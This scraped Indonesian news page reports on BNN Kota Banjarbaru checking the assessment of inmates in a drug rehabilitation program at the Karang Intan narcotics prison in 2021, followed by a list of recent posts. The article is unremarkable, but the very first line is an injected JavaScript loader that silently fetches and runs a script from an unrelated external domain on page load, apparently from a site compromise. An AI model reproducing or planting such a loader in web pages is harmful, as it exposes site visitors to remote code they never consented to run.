(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

BNN Banjarbaru Pantau Assesment Program Rehabilitasi di Lapas Karang Intan


KANALKALIMANTAN.COM, MARTAPURA – Badan Narkotika Nasional (BNN) Kota Banjarbaru cek program rehabilitasi warga binaan Lembaga Pemasyarakatan (Lapas) Narkotika Kelas IIA Karang Intan. Observasi pelaksanaan assessment bagi warga binaan pemasyarakatan (WBP) yang menjalani program rehabilitasi sosial, dilakukan langsung Kepala BNN Kota Banjarbaru AKBP H Husni Thamrin, Senin (1/3/2021) siang.

Pada tahun 2021 Lapas Karang Intan kembali menyelanggarakan program rehabilitasi sosal penyalahgunaan narkotika dan zat adiktif bagi warga binaan pemasyarakatan bekerjasama dengan Badan Narkotika Nasional (BNN), baik BNN Provinsi Kalimantan Selatan maupun BNN Kota Banjarbaru dan instansi terkait lain.

Warga binaan yang mengikuti program rehabilitasi, wajib mengikuti assessment lanjutan yang dilakukan oleh petugas dari BNN Kota Banjarbaru, dibantu petugas Lapas Karang Intan dan konselor program rehabilitasi.

Assesment bertujuan mengumpulan informasi peserta rehabilitasi, untuk mendapatkan gambaran klinis dan masalah mendalam secara komprehensif, menginisiasi komunikasi, dan interaksi terapeutik antara petugas dengan warga binaan. Selain itu, juga untuk menggali masalah yang sedang dihadapi warga binaan terkait penggunaan narkotika, masalah medis, menggali data diri, keluarga dan lingkungannya.

Kepala Lapas (Kalapas) Narkotika Kelas IIA Karang Intan, Wahyu Susetyo mengatakan bahwa program rehabilitasi sosial yang diselenggarakan Lapas Karang Intan merupakan salah satu dari berbagai kegiatan positif yang ada dan sedang berjalan.

“Kegiatan rehabilitasi sosial yang diselenggarakan merupakan salah satu dari banyaknya kegiatan positif yang kita miliki, khususnya lagi bagi warga binaan, di mana warga binaan yang melakukan penyalahgunan narkotika, jadi sebagai salah satu cara untuk mereka berhenti ketergantungan kepada Narkoba,” jelas Kalapas.

Kalapas menambahkan nantinya warga binaan yang telah selesai mengikuti program rehabilitasi akan menempati blok hunian khusus, guna mengikuti program pembinaan lanjutan persiapan kembali ke masyarakat.

“Nantinya, warga binaan yang selesai mengikuti program rehabilitasi akan menempati blok khusus pasca rehab, untuk mengikuti pembinaan lanjutan, yakni pembinaan kemandirian, keterampilan dan kerohanian, sebagai bekal saat mereka bebas nanti,” imbuhnya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.